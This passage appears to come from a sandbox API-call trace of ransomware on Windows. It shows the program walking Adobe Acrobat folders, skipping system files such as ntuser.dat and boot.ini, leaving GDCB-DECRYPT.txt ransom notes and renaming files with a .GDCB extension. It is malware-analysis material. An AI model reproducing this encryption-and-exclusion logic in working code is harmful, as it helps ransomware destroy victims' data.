Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.035] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.035] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 156 [0170.035] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 156 [0170.035] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.035] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.035] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0170.035] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0170.035] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.035] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.035] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 156 [0170.035] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 156 [0170.035] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.036] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.036] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0170.036] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0170.036] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.036] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.036] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 155 [0170.036] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 155 [0170.036] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.036] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.036] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0170.036] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0170.036] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.036] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.036] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 155 [0170.036] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 155 [0170.036] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.036] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.037] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.037] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.037] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.037] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\" [0170.037] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.037] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.037] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.037] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.037] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.037] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.037] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 144 [0170.037] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.037] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4e18 [0170.037] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.037] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.037] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.037] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.037] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.037] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0170.037] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0170.037] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.037] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 157 [0170.037] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.037] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.037] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0170.037] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0170.037] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0170.038] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 157 [0170.038] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.038] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.038] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.038] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.038] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0170.038] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 160 [0170.038] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.038] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.038] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.038] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.038] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 161 [0170.038] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.039] GetLastError () returned 0x50 [0170.039] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.039] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 144 [0170.039] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.039] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4dd8 [0170.039] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.039] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.039] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.039] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.039] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.039] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0170.039] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0170.039] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.039] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.040] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 157 [0170.040] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 157 [0170.040] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.040] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.040] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0170.040] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0170.040] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0170.040] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.040] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 157 [0170.040] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 157 [0170.040] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.040] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.040] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.040] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.040] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0170.040] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.040] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 160 [0170.040] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 160 [0170.040] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 160 [0170.040] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 160 [0170.040] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.040] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.041] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.041] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0170.041] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.041] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.041] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.041] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.041] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0170.041] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.041] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 154 [0170.041] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 154 [0170.041] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 154 [0170.041] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 154 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.041] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.041] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.042] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.042] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0170.042] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0170.042] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0170.042] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.042] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 159 [0170.042] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 159 [0170.042] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.042] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.042] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0170.042] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0170.042] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0170.042] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.042] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 164 [0170.042] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 164 [0170.042] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) 